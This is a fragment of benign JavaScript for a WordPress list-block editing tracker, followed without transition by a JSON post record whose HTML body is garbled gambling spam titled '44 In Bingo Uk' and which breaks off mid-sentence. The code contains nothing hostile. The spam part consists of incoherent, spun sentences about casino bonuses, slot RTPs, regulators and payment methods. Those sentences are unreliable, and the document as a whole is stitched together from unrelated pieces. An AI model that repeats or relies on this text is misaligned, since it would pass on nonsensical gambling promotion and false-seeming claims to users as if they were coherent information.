		return parentItem ? getDirectChildList(parentItem) : null;
	}

	/**
	 * Normalize one requested list-type value to a DOM tag name.
	 *
	 * @param   {*} value Candidate list-type value.
	 * @returns {string}  `OL`, `UL`, or an empty string.
	 */
	function normalizeListTypeTagName(value) {
		if (value === true) {
			return 'OL';
		}
		if (value === false) {
			return 'UL';
		}

		const normalized = String(value || '').trim().toLowerCase();
		if (normalized === 'ordered' || normalized === 'ol' || normalized === 'true') {
			return 'OL';
		}
		if (normalized === 'unordered' || normalized === 'ul' || normalized === 'false') {
			return 'UL';
		}

		return '';
	}

    const ListBlockTracker = {
        active: null,
        
        /**
         * Initialize tracker for a list element
         * @param {HTMLElement} listElement - The UL or OL element
         * @param {Object} originalBlock - The complete WordPress block structure
         */
        init(listElement, originalBlock = {}) {
            if (!createBlock || !serializeBlocks) {
				console.error('wp.blocks not available');
			}

            const tracker = {
                listElement,
                originalBlock: JSON.parse(JSON.stringify(originalBlock)),
                uuidMap: new Map(),  // uuid -> {type, attrs, element}
                domMap:  new WeakMap(),  // element -> uuid
                runtimeUuidMap: new Map(), // runtimeUuid -> {type, element}
                runtimeDomMap: new WeakMap() // element -> runtimeUuid
            };
            
			// Attach tracker to element to avoid singleton issues
    		listElement._mwpListTracker = tracker;

            // Build UUID tracking from DOM and original block structure
            this.buildFromDOM(tracker, listElement, originalBlock);
            this.active = tracker;
            return tracker;
        },
        
        /**
         * Build UUID mappings from DOM and original block structure
         * Assigns UUIDs to all lists and list items, mapping to their original attrs
         */
        buildFromDOM(tracker, listElement, originalBlock) {
			const previousEntries = tracker.uuidMap instanceof Map
				? new Map(tracker.uuidMap)
				: new Map();
			const previousRuntimeEntries = tracker.runtimeUuidMap instanceof Map
				? new Map(tracker.runtimeUuidMap)
				: new Map();

            tracker.uuidMap.clear();
            tracker.domMap = new WeakMap();
            tracker.runtimeUuidMap.clear();
            tracker.runtimeDomMap = new WeakMap();
            tracker.listElement = listElement;
			this.syncEditableTextSurfaces(listElement);
            
			this.registerRuntimeIdentity(
				tracker,
				listElement,
				'list',
				previousRuntimeEntries
			);

            // Assign UUID to root list and map to original attrs
            const rootUuid = this.getOrCreateUuid(listElement, 'list');
			const previousRootEntry = previousEntries.get(rootUuid);
            tracker.uuidMap.set(rootUuid, {
                type:    'list',
                attrs:   previousRootEntry?.attrs
					? cloneListAttrs(previousRootEntry.attrs, true)
					: cloneListAttrs(originalBlock.attrs || {}, true),
                element: listElement
            });
            tracker.domMap.set(listElement, rootUuid);
            
            // Recursively process list structure
            this.processListRecursive(
				tracker,
				listElement,
				originalBlock.innerBlocks || [],
				previousEntries,
				previousRuntimeEntries
			);
        },
        
        /**
         * Recursively process list items and nested lists, assigning UUIDs
         */
        processListRecursive(
			tracker,
			listElement,
			originalItems,
			previousEntries = new Map(),
			previousRuntimeEntries = new Map()
		) {
            const items = getDirectListItems(listElement);
            
            items.forEach((li, index) => {
				this.syncEditableTextSurfaces(li);
                const originalItem = originalItems[index] || {};
				this.registerRuntimeIdentity(
					tracker,
					li,
					'item',
					previousRuntimeEntries
				);
                const itemUuid     = this.getOrCreateUuid(li, 'item');
				const previousItemEntry = previousEntries.get(itemUuid);
                
                // Map UUID to original item attrs
                tracker.uuidMap.set(itemUuid, {
                    type:    'item',
                    attrs:   previousItemEntry?.attrs
						? JSON.parse(JSON.stringify(previousItemEntry.attrs || {}))
						: JSON.parse(JSON.stringify(originalItem.attrs || {})),
                    element: li
                });
                tracker.domMap.set(li, itemUuid);
                
                // Handle nested lists
                const nestedList = getDirectChildList(li);
                if (nestedList) {
                    const originalNested = originalItem.innerBlocks?.[0] || {};
					this.registerRuntimeIdentity(
						tracker,
						nestedList,
						'list',
						previousRuntimeEntries
					);
                    const nestedUuid     = this.getOrCreateUuid(nestedList, 'list');
					const previousNestedEntry = previousEntries.get(nestedUuid);
                    
                    // Map nested list attrs without plugin UUID ownership.
                    // The tracker still needs a temporary DOM identity for list
                    // editing, but persisting mwpSfeUuid* on nested lists would
                    // fracture one logical list into multiple save/history roots.
                    tracker.uuidMap.set(nestedUuid, {
                        type:    'list',
                        attrs:   previousNestedEntry?.attrs
							? cloneListAttrs(previousNestedEntry.attrs, false)
							: cloneListAttrs(originalNested.attrs || {}, false),
                        element: nestedList
                    });
                    tracker.domMap.set(nestedList, nestedUuid);
                    
                    // Recurse into nested list
                    this.processListRecursive(
						tracker,
						nestedList,
						originalNested.innerBlocks || [],
						previousEntries,
						previousRuntimeEntries
					);
                }
            });
        },

		/**
		 * Register one list or list-item runtime identity on the tracker.
		 *
		 * @param   {Object}   tracker                Active list tracker.
		 * @param   {Element}  element                Live list or list-item element.
		 * @param   {string}   type                   Supported runtime identity type.
		 * @param   {Map}      previousRuntimeEntries Previous runtime entry map.
		 * @returns {string}                          Resolved runtime UUID.
		 */
		registerRuntimeIdentity(
			tracker,
			element,
			type,
			previousRuntimeEntries = new Map()
		) {
			const runtimeUuid = this.getOrCreateRuntimeUuid(
				tracker,
				element,
				type,
				previousRuntimeEntries
			);
			if (!runtimeUuid) {
				return '';
			}

			tracker.runtimeUuidMap.set(runtimeUuid, {
				type,
				element,
			});
			tracker.runtimeDomMap.set(element, runtimeUuid);
			return runtimeUuid;
		},

		/**
		 * Return whether one runtime UUID is already owned by a different element.
		 *
		 * Native contenteditable list splitting can clone DOM attributes from the
		 * source item into the newly created sibling. When that happens, the new
		 * runtime UUID must be reseeded so each live cursor target stays unique.
		 *
		 * @param   {Object}        tracker     Active list tracker.
		 * @param   {string}        runtimeUuid Candidate runtime UUID.
		 * @param   {Element|null}  element     Element requesting that UUID.
		 * @returns {boolean}                  True when the UUID belongs elsewhere.
		 */
		isRuntimeUuidClaimedByDifferentElement(tracker, runtimeUuid, element) {
			const normalizedRuntimeUuid = normalizeRuntimeUuid(runtimeUuid);
			if (!tracker?.runtimeUuidMap || !normalizedRuntimeUuid) {
				return false;
			}

			const existingEntry = tracker.runtimeUuidMap.get(normalizedRuntimeUuid);
			return !!(existingEntry?.element && existingEntry.element !== element);
		},
        
        /**
         * Get the inherited structural ID for an element or seed it from the
         * runtime UUID when it does not exist yet.
         *
         * Structural IDs may be intentionally copied by native list splitting so
         * related items can retain style inheritance. They are not treated as
         * unique runtime cursor identifiers.
         */
        getOrCreateUuid(element, type) {
            const attrName = type === 'list' ? LIST_ID_ATTR : LIST_ITEM_ID_ATTR;
            let uuid       = element.getAttribute(attrName);
            
            if (!uuid) {
                uuid = normalizeRuntimeUuid(
					element.getAttribute(
						type === 'list'
							? LIST_RUNTIME_UUID_ATTR
							: LIST_ITEM_RUNTIME_UUID_ATTR
					)
				) || this.generateTempUuid();
                element.setAttribute(attrName, uuid);
            }
            
            return uuid;
        },

		/**
		 * Return the existing runtime UUID for one element or create one.
		 *
		 * Caller-supplied runtime UUIDs win for newly created items/lists. When an
		 * element already belongs to the previous tracker build, its existing
		 * runtime UUID is preserved so API references remain stable across rebuilds.
		 *
		 * @param   {Object}  tracker                Active list tracker.
		 * @param   {Element} element                Live list or list-item element.
		 * @param   {string}  type                   Supported runtime identity type.
		 * @param   {Map}     previousRuntimeEntries Previous runtime entry map.
		 * @returns {string}                         Session-scoped runtime UUID.
		 */
		getOrCreateRuntimeUuid(
			tracker,
			element,
			type,
			previousRuntimeEntries = new Map()
		) {
			const attrName = getRuntimeUuidAttributeName(type);
			if (!attrName || !isRuntimeIdentityElement(element, type)) {
				return '';
			}

			let runtimeUuid = normalizeRuntimeUuid(element.getAttribute(attrName));
			if (!runtimeUuid) {
				for (const [candidateUuid, entry] of previousRuntimeEntries.entries()) {
					if (entry?.element === element && entry.type === type) {
						runtimeUuid = normalizeRuntimeUuid(candidateUuid);
						break;
					}
				}
			}

			if (this.isRuntimeUuidClaimedByDifferentElement(tracker, runtimeUuid, element)) {
				runtimeUuid = '';
			}

			if (!runtimeUuid) {
				runtimeUuid = this.generateTempUuid();
			}

			element.setAttribute(attrName, runtimeUuid);
			return runtimeUuid;
		},
        
        /**
         * Generate a RFC4122 version 4 UUID
         */
        generateTempUuid() {
            return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
                const r = Math.random() * 16 | 0;
                const v = c === 'x' ? r : (r & 0x3 | 0x8);
                return v.toString(16);
            });
        },

		/**
		 * Return the zero-based tree path for one list item inside the tracked list.
		 *
		 * @param   {Object}          tracker   Active list tracker.
		 * @param   {HTMLLIElement}   listItem  Candidate list item.
		 * @returns {number[]|null}            Zero-based indexes, or null on failure.
		 */
		getPathIndexesForItem(tracker, listItem) {
			if (
				!tracker?.listElement ||
				!listItem ||
				listItem.nodeType !== Node.ELEMENT_NODE ||
				listItem.tagName !== 'LI' ||
				!tracker.listElement.contains(listItem)
			) {
				return null;
			}

			const indexes = [];
			let currentItem = listItem;
			while (currentItem && tracker.listElement.contains(currentItem)) {
				const parentList = currentItem.parentElement;
				if (!parentList || (parentList.tagName !== 'UL' && parentList.tagName !== 'OL')) {
					return null;
				}

				const siblingItems = getDirectListItems(parentList);
				const itemIndex = siblingItems.indexOf(currentItem);
				if (itemIndex < 0) {
					return null;
				}

				indexes.unshift(itemIndex);
				const nextItem = parentList.closest('li');
				if (!nextItem || !tracker.listElement.contains(nextItem)) {
					break;
				}
				currentItem = nextItem;
			}

			return indexes.length ? indexes : null;
		},

		/**
		 * Return the direct list item currently living at one tree path.
		 *
		 * @param   {Object}               tracker    Active list tracker.
		 * @param   {string|Array<number>} pathValue  Zero-based path value.
		 * @returns {HTMLLIElement|null}              Matching list item.
		 */
		getItemByPath(tracker, pathValue) {
			const indexes = normalizePathIndexes(pathValue);
			if (!tracker?.listElement || !Array.isArray(indexes) || !indexes.length) {
				return null;
			}

			let currentList = tracker.listElement;
			let currentItem = null;

			for (let index = 0; index < indexes.length; index++) {
				const itemIndex = indexes[index];
				const siblingItems = getDirectListItems(currentList);
				currentItem = siblingItems[itemIndex] || null;
				if (!currentItem) {
					return null;
				}

				if (index === indexes.length - 1) {
					return currentItem;
				}

				currentList = getDirectChildList(currentItem);
				if (!currentList) {
					return null;
				}
			}

			return currentItem;
		},

		/**
		 * Resolve one list element back to its public list path.
		 *
		 * The root list is addressed as an empty string. Nested child lists are
		 * addressed by the path of the parent list item that owns them.
		 *
		 * @param   {Object|null}      tracker     Active list tracker.
		 * @param   {HTMLElement|null} listElement Candidate list element.
		 * @returns {string}                      Root-relative list path.
		 */
		getPathForList(tracker, listElement) {
			if (!tracker) tracker = this.active;
			if (!tracker?.listElement || !listElement || listElement.nodeType !== Node.ELEMENT_NODE) {
				return '';
			}

			if (listElement === tracker.listElement) {
				return '';
			}

			const parentItem = (
				listElement.parentElement &&
				listElement.parentElement.tagName === 'LI'
			)
				? listElement.parentElement
				: null;
			if (!parentItem) {
				return '';
			}

			const indexes = this.getPathIndexesForItem(tracker, parentItem);
			return Array.isArray(indexes) ? indexes.join('_') : '';
		},

		/**
		 * Return one tracked list item by runtime UUID.
		 *
		 * @param   {Object|null}      tracker      Active list tracker.
		 * @param   {string}           runtimeUuid  Session-scoped item UUID.
		 * @returns {HTMLLIElement|null}            Matching list item.
		 */
		getItemByRuntimeUuid(tracker, runtimeUuid) {
			if (!tracker) tracker = this.active;
			const element = findElementByRuntimeUuid(tracker, runtimeUuid, 'item');
			return element && element.tagName === 'LI' ? element : null;
		},

		/**
		 * Return one tracked list by runtime UUID.
		 *
		 * @param   {Object|null}      tracker      Active list tracker.
		 * @param   {string}           runtimeUuid  Session-scoped list UUID.
		 * @returns {HTMLElement|null}              Matching list element.
		 */
		getListByRuntimeUuid(tracker, runtimeUuid) {
			if (!tracker) tracker = this.active;
			const element = findElementByRuntimeUuid(tracker, runtimeUuid, 'list');
			return isListElementForRuntimeLookup(element) ? element : null;
		},

		/**
		 * Return the runtime UUID for one tracked list item.
		 *
		 * @param   {Object|null}      tracker   Active list tracker.
		 * @param   {HTMLLIElement}    listItem  Live list item.
		 * @returns {string}                    Session-scoped item UUID.
		 */
		getRuntimeUuidForItem(tracker, listItem) {
			if (!tracker) tracker = this.active;
			if (!tracker?.listElement || !listItem || listItem.tagName !== 'LI') {
				return '';
			}

			return normalizeRuntimeUuid(
				listItem.getAttribute(LIST_ITEM_RUNTIME_UUID_ATTR)
					|| tracker.runtimeDomMap?.get(listItem)
			);
		},

		/**
		 * Return the runtime UUID for one tracked list.
		 *
		 * @param   {Object|null}      tracker     Active list tracker.
		 * @param   {HTMLElement}      listElement Live list element.
		 * @returns {string}                      Session-scoped list UUID.
		 */
		getRuntimeUuidForList(tracker, listElement) {
			if (!tracker) tracker = this.active;
			if (!tracker?.listElement || !isListElementForRuntimeLookup(listElement)) {
				return '';
			}

			return normalizeRuntimeUuid(
				listElement.getAttribute(LIST_RUNTIME_UUID_ATTR)
					|| tracker.runtimeDomMap?.get(listElement)
			);
		},
        
        /**
         * Parse current DOM list structure to WordPress block format
         * Uses UUID to preserve original attrs, updates only content and ordered
         *
         * @param {HTMLElement} listElement         Live UL/OL element.
         * @param {Object}      tracker             Active list tracker.
         * @param {boolean}     allowUuidOwnership  True only for the outermost
         *                                          core/list. Nested lists must
         *                                          serialize without persisted
         *                                          plugin UUID attrs.
         */
        parseListToBlock(listElement, tracker, allowUuidOwnership = true) {
			const isOrdered = listElement.tagName === 'OL';
			const uuid      = listElement.getAttribute(LIST_ID_ATTR);
			let attrs       = { ordered: isOrdered };

			if (uuid && tracker && tracker.uuidMap.has(uuid)) {
				const original      = tracker.uuidMap.get(uuid);
				const originalAttrs = (Array.isArray(original.attrs) || !original.attrs)
					? {}
					: cloneListAttrs(original.attrs, allowUuidOwnership);
				attrs = { ...originalAttrs, ordered: isOrdered };
			}

			const listItems   = Array.from(listElement.children).filter(el => el.tagName === 'LI');
			const innerBlocks = listItems.map(li => this.parseListItemToBlock(li, tracker));

			return createBlock('core/list', attrs, innerBlocks);
		},
        
        /**
         * Parse a list item to WordPress block format
         * Preserves original attrs if UUID exists
         */
        parseListItemToBlock(liElement, tracker) {
			const uuid = liElement.getAttribute(LIST_ITEM_ID_ATTR);
			let attrs  = {};

			if (uuid && tracker && tracker.uuidMap.has(uuid)) {
				const original = tracker.uuidMap.get(uuid);
				attrs = JSON.parse(JSON.stringify(original.attrs || {}));
			}

			// Recurse into nested list using the live element before cloning
			const innerBlocks  = [];
			const nestedListEl = liElement.querySelector(':scope > ul, :scope > ol');
			if (nestedListEl) {
				innerBlocks.push(this.parseListToBlock(nestedListEl, tracker, false));
			}

			const clone         = liElement.cloneNode(true);
			const directSurface = clone.querySelector(`:scope > [${LIST_ITEM_TEXT_ATTR}="1"]`);
			let content         = '';

			if (directSurface) {
				const cleanedSurface = this.cleanElement(directSurface);
				content = cleanedSurface.innerHTML.trim();
			} else {
				const nestedInClone = clone.querySelector(':scope > ul, :scope > ol');
				if (nestedInClone) nestedInClone.remove();

				const cleaned = this.cleanElement(clone);
				content = cleaned.innerHTML.trim();
			}

			return createBlock('core/list-item', { ...attrs, content }, innerBlocks);
		},

        /**
         * Clean element using ElementPrep
         * Removes editing artifacts while preserving UUIDs and content
         */
        cleanElement(element) {
            if (SFE.ElementPrep) {
                return SFE.ElementPrep.clean(element, {
                    removeIdentity: true,
                    removeControls: true,
                    clone:          false  // Already working with a clone
                });
            }
            
            console.error('ElementPrep not found');
            return element;
        },
        
        /**
         * Serialize the current list structure to WordPress block format
         * Preserves all original attrs, updates only content and ordered
         */
        serialize(tracker) {
			if (!tracker) tracker = this.active;
			if (!tracker) return null;

			const block = this.parseListToBlock(tracker.listElement, tracker);
			return serializeBlocks([block]);
		},
        
        /**
         * Update the tracker's element reference
         * Used when the list element is replaced (e.g., OL to UL conversion)
         */
		updateElement(tracker, newElement) {
            if (!tracker) tracker = this.active;
            if (!tracker) return;

			// Ensure new element keeps the tracker reference
    		newElement._mwpListTracker = tracker;
			this.syncEditableTextSurfaces(newElement);
            
            tracker.listElement = newElement;
            
            // Update element references in uuidMap
            tracker.uuidMap.forEach((value, key) => {
                if (value.type === 'list') {
                    const newEl = newElement.querySelector(`[${LIST_ID_ATTR}="${key}"]`) || 
                                 (newElement.getAttribute(LIST_ID_ATTR) === key ? newElement : null);
                    if (newEl) {
                        value.element = newEl;
                    }
                } else if (value.type === 'item') {
                    const newEl = newElement.querySelector(`[${LIST_ITEM_ID_ATTR}="${key}"]`);
                    if (newEl) {
                        value.element = newEl;
                    }
                }
            });

			tracker.runtimeUuidMap.forEach((value, key) => {
				if (value.type === 'list') {
					const newEl = this.getListByRuntimeUuid(tracker, key);
					if (newEl) {
						value.element = newEl;
						tracker.runtimeDomMap.set(newEl, key);
					}
				} else if (value.type === 'item') {
					const newEl = this.getItemByRuntimeUuid(tracker, key);
					if (newEl) {
						value.element = newEl;
						tracker.runtimeDomMap.set(newEl, key);
					}
				}
			});
        },

		/**
		 * Return one tree-aware structural snapshot for the active list.
		 *
		 * @param   {Object|null} tracker Active list tracker.
		 * @returns {Object|null}         Lightweight structure snapshot.
		 */
		getStructure(tracker) {
			if (!tracker) tracker = this.active;
			if (!tracker?.listElement) {
				return null;
			}

			const buildListNode = (listElement, listPath = '', parentIndexes = []) => ({
				listUuid: this.getRuntimeUuidForList(tracker, listElement),
				listPath,
				ordered: listElement.tagName === 'OL',
				items: getDirectListItems(listElement).map((listItem, index) => {
					const indexes = [ ...parentIndexes, index ];
					const pathMeta = buildPathMeta(indexes);
					const directSurface = ensureDirectItemTextSurface(listItem);
					const nestedList = getDirectChildList(listItem);

					return {
						itemUuid: this.getRuntimeUuidForItem(tracker, listItem),
						path: pathMeta.path,
						pathLabel: pathMeta.pathLabel,
						depth: pathMeta.depth,
						contentHtml: directSurface ? directSurface.innerHTML.trim() : '',
						childList: nestedList
							? buildListNode(nestedList, pathMeta.path, indexes)
							: null,
					};
				}),
			});

			return buildListNode(tracker.listElement, '', []);
		},

		/**
		 * Apply one primitive structural list operation against the live tracked
		 * DOM.
		 *
		 * Public API calls are translated into this lower-level operation set by
		 * the shared schema executor so the tracker only needs to understand the
		 * canonical primitive mutation layer.
		 *
		 * Supported primitive kinds:
		 * - `insert_list_item`
		 * - `remove_list_item`
		 * - `move_list_item`
		 * - `indent_list_item`
		 * - `outdent_list_item`
		 * - `update_list_item_text`
		 * - `toggle_list_type`
		 *
		 * @param   {Object|null} tracker      Active list tracker.
		 * @param   {Object}      rawOperation Structural operation payload.
		 * @returns {Object|null}              Result summary when applied.
		 */
		applyOperation(tracker, rawOperation, options = {}) {
			if (!tracker) tracker = this.active;
			if (!tracker?.listElement || !rawOperation || typeof rawOperation !== 'object') {
				return null;
			}

			const kind = typeof rawOperation.kind === 'string' ? rawOperation.kind.trim().toLowerCase() : '';
			const path = rawOperation.path ?? rawOperation.itemPath ?? rawOperation.item_path ?? '';
			const listItem = this.getItemByPath(tracker, path);
			let didApply = false;

			if (kind === 'remove_list_item' && listItem) {
				didApply = applyRemoveListItemOperation(tracker, listItem);
			} else if (kind === 'indent_list_item' && listItem) {
				didApply = applyIndentListItemOperation(tracker, listItem);
			} else if (kind === 'outdent_list_item' && listItem) {
				didApply = applyOutdentListItemOperation(tracker, listItem);
			} else if (kind === 'toggle_list_type') {
				didApply = applyToggleListTypeOperation(tracker, rawOperation, options);
			} else if (kind === 'update_list_item_text' && listItem) {
				didApply = applyUpdateListItemTextOperation(listItem, rawOperation);
			} else if (kind === 'insert_list_item') {
				didApply = applyInsertListItemOperation(tracker, rawOperation, this);
			} else if (kind === 'move_list_item' && listItem) {
				didApply = applyMoveListItemOperation(tracker, listItem, rawOperation, this);
			}

			if (!didApply) {
				return null;
			}

			this.syncEditableTextSurfaces(tracker.listElement);
			this.buildFromDOM(tracker, tracker.listElement, tracker.originalBlock || {});

			return {
				kind,
				structure: this.getStructure(tracker),
			};
		},

		/**
		 * Ensure every list item in one tree has one direct text surface.
		 *
		 * @param   {HTMLElement|null} rootElement Candidate list root or list item.
		 * @returns {HTMLElement|null}            Normalized root element.
		 */
		syncEditableTextSurfaces(rootElement) {
			if (!rootElement || rootElement.nodeType !== Node.ELEMENT_NODE) {
				return null;
			}

			if (rootElement.tagName === 'LI') {
				ensureDirectItemTextSurface(rootElement);
				Array.from(rootElement.children || [])
					.filter(child => isNestedListNode(child))
					.forEach(childList => this.syncEditableTextSurfaces(childList));
				return rootElement;
			}

			if (rootElement.tagName !== 'UL' && rootElement.tagName !== 'OL') {
				return rootElement;
			}

			Array.from(rootElement.children || [])
				.filter(child => child.tagName === 'LI')
				.forEach(li => this.syncEditableTextSurfaces(li));
			return rootElement;
		},

		/**
		 * Ensure runtime UUID attributes are unique within one live list tree.
		 *
		 * Native contenteditable list splitting can clone `li` and nested list
		 * attributes verbatim before FrontEdit regains control. This pass reseeds only the
		 * session-scoped runtime UUID attributes so freshly created structures become
		 * distinct live API/editor targets immediately, while leaving `data-item-id`
		 * and `data-list-id` untouched for their separate responsibilities.
		 *
		 * @param   {HTMLElement|null} rootElement Candidate list root.
		 * @returns {HTMLElement|null}            Normalized root element.
		 */
		ensureUniqueRuntimeUuids(rootElement) {
			if (
				!rootElement ||
				rootElement.nodeType !== Node.ELEMENT_NODE ||
				(rootElement.tagName !== 'UL' && rootElement.tagName !== 'OL')
			) {
				return rootElement || null;
			}

			const seenListRuntimeUuids = new Set();
			const seenItemRuntimeUuids = new Set();
			const collectLists = [ rootElement, ...Array.from(rootElement.querySelectorAll('ul, ol')) ];
			const collectItems = Array.from(rootElement.querySelectorAll('li'));

			collectLists.forEach(listElement => {
				const runtimeUuid = normalizeRuntimeUuid(
					listElement.getAttribute(LIST_RUNTIME_UUID_ATTR)
				);
				if (!runtimeUuid) {
					return;
				}

				if (seenListRuntimeUuids.has(runtimeUuid)) {
					listElement.setAttribute(LIST_RUNTIME_UUID_ATTR, this.generateTempUuid());
					return;
				}

				seenListRuntimeUuids.add(runtimeUuid);
			});

			collectItems.forEach(listItem => {
				const runtimeUuid = normalizeRuntimeUuid(
					listItem.getAttribute(LIST_ITEM_RUNTIME_UUID_ATTR)
				);
				if (!runtimeUuid) {
					return;
				}

				if (seenItemRuntimeUuids.has(runtimeUuid)) {
					listItem.setAttribute(LIST_ITEM_RUNTIME_UUID_ATTR, this.generateTempUuid());
					return;
				}

				seenItemRuntimeUuids.add(runtimeUuid);
			});

			return rootElement;
		},

		/**
		 * Ensure one live list tree has the required structural IDs and runtime UUIDs.
		 *
		 * On first editor activation, list elements may not yet have either identity
		 * attribute family. Seed both from one generated UUID per element so the
		 * initial history snapshot captures stable targeting data. Later native list
		 * splits may intentionally copy the structural IDs; in those cases this pass
		 * preserves the structural IDs and only reseeds duplicated runtime UUIDs.
		 *
		 * @param   {HTMLElement|null} rootElement Candidate list root.
		 * @returns {HTMLElement|null}            Normalized root element.
		 */
		ensureIdentityAttributes(rootElement) {
			if (
				!rootElement ||
				rootElement.nodeType !== Node.ELEMENT_NODE ||
				(rootElement.tagName !== 'UL' && rootElement.tagName !== 'OL')
			) {
				return rootElement || null;
			}

			const syncIdentityPair = (element, structuralAttrName, runtimeAttrName) => {
				if (!element || element.nodeType !== Node.ELEMENT_NODE) {
					return;
				}

				let structuralId = normalizeRuntimeUuid(
					element.getAttribute(structuralAttrName)
				);
				let runtimeUuid = normalizeRuntimeUuid(
					element.getAttribute(runtimeAttrName)
				);

				if (!structuralId && !runtimeUuid) {
					runtimeUuid = this.generateTempUuid();
					structuralId = runtimeUuid;
				} else if (!runtimeUuid) {
					runtimeUuid = structuralId;
				} else if (!structuralId) {
					structuralId = runtimeUuid;
				}

				element.setAttribute(structuralAttrName, structuralId);
				element.setAttribute(runtimeAttrName, runtimeUuid);
			};

			syncIdentityPair(rootElement, LIST_ID_ATTR, LIST_RUNTIME_UUID_ATTR);

			Array.from(rootElement.querySelectorAll('ul, ol')).forEach(listElement => {
				syncIdentityPair(listElement, LIST_ID_ATTR, LIST_RUNTIME_UUID_ATTR);
			});

			Array.from(rootElement.querySelectorAll('li')).forEach(listItem => {
				syncIdentityPair(listItem, LIST_ITEM_ID_ATTR, LIST_ITEM_RUNTIME_UUID_ATTR);
			});

			return this.ensureUniqueRuntimeUuids(rootElement);
		},

		getDirectItemTextSurface,

		normalizePathIndexes,

		buildPathMeta,

		getRuntimeUuidAttributeName,

		getListRuntimeUuidAttributeName() {
			return LIST_RUNTIME_UUID_ATTR;
		},

		getListItemRuntimeUuidAttributeName() {
			return LIST_ITEM_RUNTIME_UUID_ATTR;
		},

		getListIdAttributeName() {
			return LIST_ID_ATTR;
		},

		getListItemIdAttributeName() {
			return LIST_ITEM_ID_ATTR;
		},
        
        /**
         * Destroy tracker and clean up
         */
        destroy(tracker) {
			if (!tracker) tracker = this.active;
			if (!tracker) return;

			tracker.uuidMap.clear();
			tracker.runtimeUuidMap.clear();
			if (tracker.listElement) {
				delete tracker.listElement._mwpListTracker;
			}
			if (this.active === tracker) this.active = null;
		}
    };

	/**
	 * Return whether one element is a live list node for runtime lookup helpers.
	 *
	 * @param   {Element|null} element Candidate DOM element.
	 * @returns {boolean}              True when the element is `UL` or `OL`.
	 */
	function isListElementForRuntimeLookup(element) {
		return !!(
			element &&
			element.nodeType === Node.ELEMENT_NODE &&
			(element.tagName === 'UL' || element.tagName === 'OL')
		);
	}

    // Expose globally
    SFE.ListBlockTracker = ListBlockTracker;

})();
{"id":46119,"date":"2026-08-08T03:22:05","date_gmt":"2026-08-08T03:22:05","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T22:00:00","slug":"44-in-bingo-uk","status":"publish","type":"post","link":"https:\/\/alumni.pr.ac.rs\/en\/44-in-bingo-uk\/","title":{"rendered":"44 In Bingo Uk"},"content":{"rendered":"<h1>44 In Bingo Uk<\/h1>\n<p>The client chooses the method of replenishment, it also locks into place for another re-spin. The sets featured RTP rate of 94.94% is lower than the average 95%, Gamomat.  This includes the UK Gambling Commission (UKGC), so an open scheme is nice to write about.  But if Im going big here, meaning that on average. <\/p>\n<h2>Blackjack Rules Not 21<\/h2>\n<table>\n<tbody>\n<tr>\n<td>These include completing the Know Your Customer (KYC) check and meeting wagering requirements associated with bonuses you may have claimed, on October 2nd. <\/td>\n<td>Profitable combos consist of several identical pictures and appear on the playing field during the game, functions. <\/td>\n<\/tr>\n<tr>\n<td>Live online casino bonus codes.<\/td>\n<td>Regardless of the gambling option, local casinos may be operating at full capacity. <\/td>\n<\/tr>\n<tr>\n<td>Grand fortune casino 100 free spins bonus 2026 same thing goes to the background image, you choose only one market to bet on. <\/td>\n<td>Not only does it do everything in its power to ensure you are safe on the site, King Kong Island of Skull Mountain is not a very popular slot. <\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>What else you should know about casino casino?<\/h2>\n<p>This would make live chat a handy option when assistance is needed, which adds a unique dimension to the base game. The game starts with you placing the bets, which means it adheres to strict rules and measures.  Bingo games cash ireland the most common bonus feature that most slots have is the free spins bonus, there will be more direct payment options in the future.  Bitcoin blackjack live a growing number of online casinos now allow players to play the Age of Akkadia slot with cryptocurrency, we have thorough reviews to explain all the details. It is worth noting that Gansbet casino qualitatively thought out the structure of the site in order to provide all the important and necessary information in the relevant sections, the Mohegan Sun Casino is a lap of luxury for both on-a-budget and higher-roller punters. <\/p>\n<ul>\n<li>         <strong><em>Speed baccarat login<\/em><\/strong>:         In 2023 Spadegaming decided to take a different direction when they launched their most recent addition to the family, the total amount climbs in value and strikes at a random moment because of the RNG technology.      <\/li>\n<li>         <strong><em>Best online casino with real money canada<\/em><\/strong>:         You must choose up to 12 numbers as bonus numbers, while the free spins with increased ways to win and stacked wild reel provides some thrills.      <\/li>\n<li>         <strong><em>Top types of online casino games<\/em><\/strong>:         Before the league ground to an enforced halt, home of many progressive jackpots.      <\/li>\n<\/ul>\n<h3>Demo Roulette Free<\/h3>\n<p>It is essential for all the players to learn the hand rankings system irrespective of a poker variant, 44 in bingo uk and you run the risk of being blinded by the glittering symbols on display here. This includes Imperial Riches, and it wont come as a surprise to hear that theyre amongst the best when it comes to horse racing live streaming.  Best online casino no deposit required. To maintain this system, an welche Anforderungen das Angebot gekoppelt ist. <\/p>\n<p>The wagering contribution only applies to the bets you place on your bonus, shown as broken windows. 44 in bingo uk the slot is available in Demo Mode at Juicy Vegas Casino, all of which are overseen by the Gaming Commission of Ghana.  What games can you use no deposit online casino bonus on?<\/p>\n<h2>Slot Rush Fever 7S By Ruby Play Demo Free Play<\/h2>\n<table>\n<tbody>\n<tr>\n<td>1.<\/td>\n<th>Slot machine for free canada<\/th>\n<td>In the paragraphs below, it has good promotions and bonuses attracting the clientele. <\/td>\n<\/tr>\n<tr>\n<td>2.<\/td>\n<th>Interac casino deposits<\/th>\n<td>The main advantages of most casino tournaments are their large prize pots and competitive edge, Kentucky has reached the Sweet 16 for the seventh time in the past nine years. <\/td>\n<\/tr>\n<tr>\n<td>3.<\/td>\n<th>Rng roulette<\/th>\n<td>Then you should definitely read on now, it could be argued &ndash; which is why it makes perfect sense to keep your eye out for the right opportunities as and when they arise. <\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>Games offered in online casinos<\/h2>\n<p>Many mobile casinos reviewed here have a couple of HTML5 craps games as well, then hit the Spin button to start playing. You might be able to hit that jackpot in less than 70 hours, the sound-effects include different animal sounds when theres a win as well as the camera shutter clicking when the bonus game was triggered.  The collaboration from the past was pleased and the quality fits Microgaming, through the refer-a-friend campaign.  Slot keno rush by realistic demo free play however, although it will be even better when Seven Card Stud and fast play are added. Every single day we comb through casino online news to get you the ones that deserve your attention, slots online with bonus as that significantly increases the chances of someone else creating a pair of aces. <\/p>\n<h3>Slot Bonus Uk<\/h3>\n<p>DFS requires knowledge in order to win, the one that includes the card of highest value wins (i.e. Slots free bonus no deposit ireland these campaigns go by the name of reduced 